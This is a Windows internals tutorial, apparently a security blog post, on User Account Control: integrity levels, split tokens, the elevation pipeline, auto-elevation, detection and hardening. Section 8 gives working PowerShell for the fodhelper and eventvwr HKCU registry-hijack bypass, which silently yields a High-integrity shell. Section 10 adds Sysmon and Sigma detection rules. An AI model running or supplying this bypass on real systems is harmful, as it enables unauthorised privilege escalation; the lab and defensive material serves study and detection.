UAC Internals: Elevation, Consent, and Token Filtering

By Debraj Basak·Jul 8, 2026·15 min readWindows Internals

Objective: Understand exactly how User Account Control works under the hood – the split-token model, Mandatory Integrity Control, the AppInfo/consent.exe elevation pipeline, and auto-elevation – so you can reason precisely about what UAC protects, walk a real HKCU-hijack bypass end to end in a lab, and read a Sysmon process-creation event and spot the bypass from the parent-child chain alone.


Here is the thing nobody says loudly enough: Microsoft does not consider UAC a security boundary. It is a convenience feature that keeps admins from running everything as admin all day. That single design decision explains why an entire family of “UAC bypasses” exists, why many of them are unpatched by design, and why they are not treated as vulnerabilities. If you internalize the pipeline below, the bypasses stop looking like magic and start looking like the obvious consequence of a trust decision.

1. Why UAC Exists: The Pre-Vista Problem

Before Windows Vista, the average interactive user was a full local administrator, and every process they launched ran with that full administrator token. One malicious document, one drive-by, and the payload inherited god rights instantly. There was no gap to cross.

UAC (shipped in Vista, refined ever since) applies the principle of least privilege to the desktop. An administrator still logs in, but their day-to-day processes run as if they were a standard user. Elevation to full admin rights becomes an explicit, auditable act rather than the default state. The mechanism that makes this possible is the split-token model, and it is enforced by Mandatory Integrity Control. Start with MIC, because everything else sits on top of it.


2. Mandatory Integrity Control and Integrity Levels

Mandatory Integrity Control (MIC) tags every user, process, and securable object with an Integrity Level (IL), represented by a SID in the S-1-16-x range. The IL is orthogonal to the DACL: even if the DACL grants access, the kernel’s SeAccessCheck can still deny a write because a lower-integrity subject is trying to modify a higher-integrity object.

IL LabelSIDTypical Use
LowS-1-16-4096Protected Mode IE, sandboxed processes
MediumS-1-16-8192Standard users, filtered admin tokens
HighS-1-16-12288Elevated admin processes
SystemS-1-16-16384SYSTEM-context services

A standard user and an administrator’s filtered token both run at Medium. An administrator’s elevated token runs at High. If UAC is disabled entirely, administrators always run at High.

The label lives in the object’s SACL as a SYSTEM_MANDATORY_LABEL_ACE, whose access mask carries the enforcement policy:

// Mandatory policy bits carried in the label ACE's access mask
#define SYSTEM_MANDATORY_LABEL_NO_WRITE_UP    0x1
#define SYSTEM_MANDATORY_LABEL_NO_READ_UP     0x2
#define SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP  0x4

NO_WRITE_UP is the default and the one that matters most: a Medium-integrity process cannot write into a High-integrity process or object. That is the wall a UAC bypass has to get around, and it does so not by breaking MIC but by convincing a High-integrity process to read down into attacker-controlled state. Hold that thought.

You can read any token’s IL with GetTokenInformation and the TokenIntegrityLevel class, which returns a TOKEN_MANDATORY_LABEL whose Label.Sid is the IL SID. We do exactly that in the next section.


Hierarchy diagram showing four integrity levels - System, High, Medium, Low - with NO_WRITE_UP enforcement between each layer and their associated process types
MIC enforces a strict no-write-up policy: a Medium process cannot modify High-integrity objects, forming the wall that UAC bypasses must route around.

3. The Split-Token Model: Filtered vs. Full Tokens

When a user with powerful group memberships or privileges logs on, LSASS (via NtCreateToken) mints two linked tokens:

  • The Full token carries every group membership and privilege the account has, including active Administrators membership, and runs at High integrity.
  • The Filtered token is the same identity with the admin group marked deny-only, dangerous privileges stripped, and integrity lowered to Medium.

By default the filtered token drives the interactive session. explorer.exe, your browser, your shell – all Medium. The full token sits parked until something explicitly requests elevation. This is Admin Approval Mode (AAM).

Three token information classes expose the model:

Information ClassStruct / TypeMeaning
TokenElevationTypeTOKEN_ELEVATION_TYPE enumDefault(1), Full(2), Limited(3)
TokenElevationTOKEN_ELEVATION (DWORD TokenIsElevated)1 if elevated, 0 if filtered
TokenLinkedTokenTOKEN_LINKED_TOKEN (HANDLE LinkedToken)Handle to the paired token

One important exception: the built-in RID-500 local Administrator is not enrolled in UAC by default. It receives a full High token with no filtered counterpart. You enroll it with FilterAdministratorToken=1, covered in Section 6.

Lab: Query Your Own Token Pair (C)

Compile and run this as your normal (Medium) admin user, then again from an elevated prompt, and watch the fields flip.

#include <windows.h>
#include <sddl.h>
#include <stdio.h>

static const char* ElevStr(TOKEN_ELEVATION_TYPE t) {
    switch (t) {
        case TokenElevationTypeDefault: return "Default";
        case TokenElevationTypeFull:    return "Full";
        case TokenElevationTypeLimited: return "Limited";
        default:                        return "Unknown";
    }
}

static void Describe(HANDLE hTok, const char* tag) {
    DWORD ret = 0, size = 0;
    TOKEN_ELEVATION_TYPE et = TokenElevationTypeDefault;
    TOKEN_ELEVATION elev = {0};
    char* sidStr = NULL;

    GetTokenInformation(hTok, TokenElevationType, &et, sizeof(et), &ret);
    GetTokenInformation(hTok, TokenElevation, &elev, sizeof(elev), &ret);

    GetTokenInformation(hTok, TokenIntegrityLevel, NULL, 0, &size);
    PTOKEN_MANDATORY_LABEL lbl = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, size);
    if (GetTokenInformation(hTok, TokenIntegrityLevel, lbl, size, &ret))
        ConvertSidToStringSidA(lbl->Label.Sid, &sidStr);

    printf("[%s] ElevationType: %-7s | Elevated: %lu | IL: %s\n",
           tag, ElevStr(et), elev.TokenIsElevated, sidStr ? sidStr : "?");

    if (sidStr) LocalFree(sidStr);
    LocalFree(lbl);
}

int main(void) {
    HANDLE hTok;
    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_QUERY | TOKEN_DUPLICATE, &hTok)) {
        printf("OpenProcessToken failed: %lu\n", GetLastError());
        return 1;
    }
    Describe(hTok, "current");

    TOKEN_LINKED_TOKEN linked = {0};
    DWORD ret = 0;
    if (GetTokenInformation(hTok, TokenLinkedToken, &linked, sizeof(linked), &ret)) {
        printf("LinkedToken handle: 0x%p\n", linked.LinkedToken);
        Describe(linked.LinkedToken, "linked ");
        CloseHandle(linked.LinkedToken);
    } else {
        printf("No linked token (err %lu)\n", GetLastError());
    }
    CloseHandle(hTok);
    return 0;
}

Build it with MinGW or MSVC:

x86_64-w64-mingw32-gcc token.c -o token.exe -ladvapi32

Run from a normal shell and you get the split laid bare:

[current] ElevationType: Limited | Elevated: 0 | IL: S-1-16-8192
LinkedToken handle: 0x00000000000000E4
[linked ] ElevationType: Full    | Elevated: 1 | IL: S-1-16-12288

The Medium token’s LinkedToken is a live handle to your Full, High-integrity self. That pairing is the entire model in one struct.


4. The Elevation Pipeline: ShellExecute to AppInfo to consent.exe

When something legitimately needs elevation, it does not just spawn a High process. It asks a service to do it. The flow:

  1. A caller issues ShellExecute with the runas verb (or launches a requireAdministrator binary).
  2. The request is forwarded over RPC to the Application Information Service (AppInfo), hosted in svchost.exe loading appinfo.dll. AppInfo depends on RPC and the DCOM Server Process Launcher.
  3. The RPC method RAiLaunchAdminProcess (in appinfo.dll) validates the request and checks the target’s manifest.
  4. If a prompt is required, AiLaunchConsentUI launches consent.exe.
  5. consent.exe renders the UAC dialog on a secure desktop (a separate desktop isolated from the user’s, so Medium-integrity malware cannot script the buttons). AppInfo hands consent.exe a pointer into its own address space holding the program name, path, elevation type, and dialog metadata; consent.exe reads that block directly.
  6. consent.exe returns 0x0 on approval, 0x4C7 (ERROR_CANCELLED) on denial or close.
  7. On approval, AppInfo creates the process with the user’s elevated token.

Then comes the artifact that matters for detection. AppInfo sets the new process’s parent PID back to the shell that requested elevation, typically explorer.exe, even though AppInfo actually created it. This deliberate re-parenting means the tree you see in a naive process listing lies about who spawned what. Keep that in mind for Section 10.

The secure desktop is toggled by PromptOnSecureDesktop. Disable it and you have handed attackers a much easier target, which is why it stays on.


Flow diagram tracing a UAC elevation request from ShellExecute through the AppInfo RPC service to consent.exe on the [secure desktop](https://genxcyber.com/user-mode-vs-kernel-mode-privilege-rings-windows/), then to an elevated High-integrity process re-parented to explorer.exe
AppInfo brokers every legitimate elevation over RPC; the deliberate re-parenting of the resulting process to explorer.exe is why naive process trees mislead defenders.

5. Application Manifests and Auto-Elevation

Every PE can embed an application manifest whose trustInfo XML declares a requestedExecutionLevel. AppInfo reads that field to decide what to do.

requestedExecutionLevelBehavior
asInvokerRun with the caller’s token (no elevation)
highestAvailableElevate if the caller can, otherwise run filtered
requireAdministratorAlways require the full token; prompt if needed

Auto-elevation is the interesting part. A binary can carry autoElevate="true", which lets AppInfo silently hand it the full token with no prompt – but only if all three conditions hold:

  1. The binary is Microsoft-signed.
  2. It resides in a trusted system directory (for example C:\Windows\System32).
  3. Its manifest sets autoElevate=true.

That whitelist is a small, fixed set of Microsoft binaries: fodhelper.exe, eventvwr.exe, sdclt.exe, computerdefaults.exe, dism.exe, wusa.exe, dccw.exe, and friends. Confirm the flag yourself with Sysinternals sigcheck:

.\sigcheck64.exe -m C:\Windows\System32\fodhelper.exe | Select-String "autoElevate"
# <autoElevate>true</autoElevate>

Every one of those binaries is a candidate host for a silent elevation. The attacker never touches the binary. They touch what the binary reads.


6. UAC Configuration: Registry Keys and Group Policy

All of UAC’s behavior lives under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System.

Value NameEffect
EnableLUA0 = UAC fully off; every admin process runs High
ConsentPromptBehaviorAdmin0=no prompt, 1=prompt for creds on secure desktop, 2=always notify, 5=default (consent for non-Windows binaries)
ConsentPromptBehaviorUserStandard-user behavior (3=default, prompt for creds)
PromptOnSecureDesktop1 = render the prompt on the isolated secure desktop
FilterAdministratorToken1 = enroll the RID-500 Administrator in UAC
LocalAccountTokenFilterPolicy1 = disable remote UAC filtering for local admins

The value that makes the whole bypass family work is ConsentPromptBehaviorAdmin=5, the shipping default. At 5, auto-elevating Windows binaries elevate silently. Crank it to 2 (Always Notify) and even fodhelper.exe throws a prompt. We will come back to that in hardening, because it is the single most effective control here.

Remote UAC filtering

Over the network (SMB NET USE, WinRM), a local admin account subject to token filtering only ever gets its filtered token, so it cannot do remote admin work. LocalAccountTokenFilterPolicy=1 disables that protection, which is exactly why attackers love finding it set. A domain account in the local Administrators group is different: it logs on remotely with a full token and UAC is not in effect. RDP is also exempt because it is an interactive logon.


7. UIPI: The Complementary Control

User Interface Privilege Isolation (UIPI) stops a lower-integrity process from driving a higher-integrity window with synthetic messages (WM_*, fake keystrokes, SetWindowsHookEx). It was introduced alongside MIC in Vista specifically to kill “shatter attacks,” where a low process posts a WM_TIMER-style message carrying a code pointer to a privileged window. UIPI uses MIC as its enforcement backbone: message delivery up the integrity ladder is blocked by the same kernel machinery. The practical cost is that legitimate accessibility tools (screen readers, automation) need the uiAccess manifest flag to punch through, which itself requires signing and a trusted path.


8. UAC Bypass Lab: HKCU Registry Hijack (fodhelper)

Time to actually cross the wall. This is a design-abuse, not a memory-corruption bug, and it is 100% reproducible on stock Windows 10.

Lab setup:

  • Clean Windows 10 22H2 VM.
  • A non-RID-500 local admin (labuser, member of Administrators).
  • UAC at default: ConsentPromptBehaviorAdmin=5, PromptOnSecureDesktop=1.
  • Sysmon v15+ with a config that logs registry and process events.
  • Defender real-time off for lab clarity (it will flag this, which is the point).

The core insight: fodhelper.exe is Microsoft-signed, in System32, and auto-elevates. When it launches, it opens an ms-settings URI using the per-user file-association handler under HKCU. A Medium process can write HKCU freely (it is our own hive). The elevated fodhelper reads that per-user handler and executes it at High. Medium writes, High reads down, MIC never lifts a finger.

Step 1 – Confirm we are Medium

whoami /groups | findstr "Mandatory Label"
# Mandatory Label\Medium Mandatory Level  S-1-16-8192

Step 2 – Confirm fodhelper auto-elevates

.\sigcheck64.exe -m C:\Windows\System32\fodhelper.exe | Select-String "autoElevate"
# <autoElevate>true</autoElevate>

Step 3 – Plant the hijack in HKCU

fodhelper resolves the ms-settings progid, walks shell\open\command, and checks DelegateExecute first. Set DelegateExecute to an empty string and the shell falls back to the (Default) command string, which is ours.

$key = "HKCU:\Software\Classes\ms-settings\shell\open\command"
New-Item $key -Force | Out-Null
New-ItemProperty $key -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty  $key -Name "(Default)" -Value "C:\Windows\System32\cmd.exe" -Force

Step 4 – Trigger the elevation

Start-Process "C:\Windows\System32\fodhelper.exe"

No prompt. No secure desktop. A cmd.exe window appears.

Step 5 – Verify High integrity

whoami /groups | findstr "Mandatory Label"
REM Mandatory Label\High Mandatory Level  S-1-16-12288

You started Medium and now own a High-integrity shell with zero user interaction. That is T1548.002 in eight lines of PowerShell.

Step 6 – Clean up

Remove-Item "HKCU:\Software\Classes\ms-settings" -Force -Recurse

The eventvwr variant

Same idea, different auto-elevator. eventvwr.exe opens a .msc via the mscfile progid:

$key = "HKCU:\Software\Classes\mscfile\shell\open\command"
New-Item $key -Force | Out-Null
Set-ItemProperty $key -Name "(Default)" -Value "C:\Windows\System32\cmd.exe" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"

A gotcha worth an hour of your life: on some builds eventvwr needs the payload without the DelegateExecute value, while fodhelper needs it present and empty. If your shell does not pop, that mismatch is usually why. Test both progids before you assume the technique is patched.


Flow diagram showing a Medium-integrity attacker writing a malicious command into the HKCU ms-settings registry key, then triggering fodhelper.exe which auto-elevates and reads the attacker-controlled handler, spawning a High-integrity cmd.exe
The hijack works because MIC’s no-write-up only blocks writes upward – a High-integrity auto-elevator reading back down into attacker-owned HKCU state is entirely permitted.

9. Common Attacker Techniques

TechniqueDescription
HKCU handler hijack (fodhelper, eventvwr, sdclt)Write a per-user file/protocol association, launch the auto-elevator, inherit High integrity
computerdefaults.exe hijackSame ms-settings progid target as fodhelper, different trigger binary
DLL search-order abuse in auto-elevatorsDrop a planted DLL an auto-elevating binary loads from a writable path
COM elevation moniker / ICMLuaUtilInstantiate an auto-approved elevated COM object; consent.exe may run with no user click
Environment-variable / IFEO manipulationRedirect an elevated child’s executed path via HKCU env or debugger keys

Almost all of these share one shape: the attacker seeds attacker-controlled state that a High-integrity, auto-elevating Microsoft binary then reads and trusts. Once High integrity is reached, the follow-on is usually token manipulation (T1134), service persistence (T1543), or LSASS credential access (T1003.001).


10. Defensive Strategies & Detection

Everything above leaves loud artifacts if you are collecting the right events. Two signals matter most: the registry write into HKCU\Software\Classes, and the parent-child chain with an auto-elevator spawning a shell at High integrity.

Windows Security auditing

Event IDLogWhat It Captures
4688SecurityProcess creation with command line (enable “Include command line”)
4657SecurityRegistry value writes to ...\Classes\ms-settings / \mscfile
4703SecurityToken right adjustment (elevation)
4624SecurityElevated-token logon; correlate with absence of 4648
7045SystemNew service install, common post-bypass step

Sysmon

Sysmon Event IDWhat to Monitor
1 (Process Create)ParentImage = fodhelper.exe / eventvwr.exe / sdclt.exe / computerdefaults.exe spawning cmd.exe, powershell.exe, rundll32.exe with IntegrityLevel=High
13 (Registry Set)TargetObject containing \shell\open\command, \ms-settings\, or \mscfile\
10 (Process Access)consent.exe accessed by unexpected processes
1 (anomalous consent)consent.exe executing with no corresponding user interaction (COM-moniker bypasses)

Sysmon config to catch the HKCU-hijack family:

<RegistryEvent onmatch="include">
  <TargetObject condition="contains">\shell\open\command</TargetObject>
  <TargetObject condition="contains">\ms-settings\</TargetObject>
  <TargetObject condition="contains">\mscfile\</TargetObject>
</RegistryEvent>

Sigma rule for the fodhelper parent-child signal (mirrors SigmaHQ 7f741dcf-...):

title: UAC Bypass via Auto-Elevated fodhelper Child Process
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\fodhelper.exe'
  child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\rundll32.exe'
    IntegrityLevel: 'High'
  condition: selection and child
tags:
  - attack.privilege_escalation
  - attack.defense_evasion
  - attack.t1548.002
level: high

One detection nuance from Section 4: because AppInfo re-parents elevated processes to explorer.exe, a raw process tree can show explorer -> cmd while the Sysmon 1 event still records ParentImage=fodhelper.exe. Trust the event’s ParentProcessId/ParentImage, not the live tree. In Process Hacker you will see fodhelper as the real parent while the PPID in the log points at explorer. That discrepancy is itself an indicator.

Hardening

  1. Set ConsentPromptBehaviorAdmin=2 (Always Notify) by GPO. This forces a prompt even for auto-elevating binaries and neutralizes the entire HKCU-hijack family.
  2. Remove users from local Administrators wherever possible. Every technique here requires the user to already hold the full token. Standard users cannot do it.
  3. Enroll RID-500 with FilterAdministratorToken=1.
  4. Keep LocalAccountTokenFilterPolicy=0 so remote UAC filtering stays active for local admins.
  5. Audit HKCU\Software\Classes writes (Event ID 4657 or Sysmon 13) and alert on non-interactive contexts (MITRE mitigations M1052, M1026).

Relevant ETW providers: Microsoft-Windows-Security-Auditing, Microsoft-Windows-Sysmon, and the seldom-enabled Microsoft-Windows-UAC provider.


Illustration of a watchtower sentinel spotting registry and process-tree anomaly signals rising from a darkened city, symbolizing UAC bypass detection
Two signals betray the HKCU-hijack family: a registry write into HKCU\Software\Classes and an auto-elevator spawning a High-integrity shell – both loud in Sysmon if you are watching.

11. Tools for UAC Analysis

ToolDescriptionLink
Process HackerInspect token IL, elevation, and true parent processprocesshacker.sourceforge.io
Sysinternals sigcheckDump embedded manifests (-m) to confirm autoElevatelearn.microsoft.com
Sysinternals whoami / AccessChkEnumerate token groups, privileges, integritylearn.microsoft.com
Sysmon + SwiftOnSecurity configRegistry and process telemetry for detectionlearn.microsoft.com
Resource HackerGUI manifest and resource inspection of PE filesangusj.com
WinObjBrowse the object namespace and integrity labelslearn.microsoft.com

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Abuse Elevation Control MechanismT1548Correlate registry mods, anomalous parent-child chains, unsigned elevated processes
Bypass User Account ControlT1548.002Sysmon 1 (auto-elevator parent + High IL child), Sysmon 13 / Event 4657 (HKCU class write)
Access Token ManipulationT1134Post-bypass follow-on; audit 4703 token adjustments
Create or Modify System ProcessT1543Event 7045 new service installs after elevation
OS Credential Dumping: LSASST1003.001Sysmon 10 handle access to lsass.exe from freshly elevated process

Summary

  • UAC is a convenience feature, not a security boundary, which is why its bypasses are unpatched by design and worth understanding as expected behavior rather than bugs.
  • The split-token model gives every admin a Medium filtered token and a linked High full token; GetTokenInformation with TokenElevationType, TokenElevation, and TokenLinkedToken shows both directly.
  • MIC and SeAccessCheck enforce no-write-up, so bypasses never break MIC. They make a High auto-elevating binary read down into attacker-controlled HKCU state.
  • The fodhelper/eventvwr HKCU-hijack lands a High-integrity shell with no prompt in about eight lines, purely because auto-elevators trust per-user handlers at default UAC settings.
  • Detect it with Sysmon Event ID 1 (auto-elevator parent + IntegrityLevel=High child) and Event ID 13 / Security 4657 (class-key writes); neutralize the whole family by setting ConsentPromptBehaviorAdmin=2 and pulling users out of local Administrators.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.